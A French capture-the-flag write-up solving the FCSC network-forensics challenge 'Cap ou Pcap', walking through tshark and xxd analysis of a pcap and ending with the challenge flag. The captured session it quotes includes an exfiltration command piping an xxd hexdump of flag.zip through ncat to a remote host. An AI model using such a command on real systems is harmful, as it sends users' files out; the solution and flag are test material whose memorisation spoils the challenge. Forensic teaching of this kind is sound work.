Solution de balldeux pour Cap ou Pcap

intro forensics réseau

19 décembre 2023

Table des matières

Exploration

Il faut identifier le type de fichier préalablement téléchargé avec la commande file.

$ file cap.pcap
cap.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

Il s’agit d’une capture réseau au format PCAP.

Nous pouvons utiliser la commande tshark pour identifier le nombre de sessions TCP

$ tshark -r cap.pcap -T fields -e tcp.stream |sort -n|uniq
0
1

Il y a bien deux sessions TCP présentes dans la capture. Utilisons encore tshark avec le module follow tcp stream pour afficher le payload.

$ tshark -q -nr cap.pcap -z follow,tcp,ascii,0
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 0
Node 0: 172.20.20.132:51612
Node 1: 172.20.20.133:2020
	3
id

48
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)

	4
pwd

11
/home/fcsc

	2
w

253
 07:10:25 up 24 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
fcsc     tty7     :0               06:46   24:47   3.13s  0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc

	3
ls

67
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos

	13
ls Documents

9
flag.zip

	24
file Documents/flag.zip

63
Documents/flag.zip: Zip archive data, at least v2.0 to extract

	66
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200

	5
exit

===================================================================

On identifie un transfert du fichier flap.zip vers 172.20.20.133 sur le port 20200. Il faut noter que le fichier zip est préalablement converti en hexdump avec la commande xxd.

Dans le second stream TCP on va trouver le payload hexdump du transfert du fichier :

$ tshark -q -nr cap.pcap -z follow,tcp,ascii,1

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 1
Node 0: 172.20.20.132:35062
Node 1: 172.20.20.133:20200
464
504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000
===================================================================

Solution

En combinant la commande tshark avec la commande xxd pour reconvertir le payload hexdump en binaire on peut afficher le contenu du fichier zip.

$ tshark -o data.show_as_text:TRUE -r cap.pcap -Y "tcp.dstport == 20200" -T fields -e data.text  |xargs |xxd -r -p - |zmore
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}

Le flag est donc :

FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}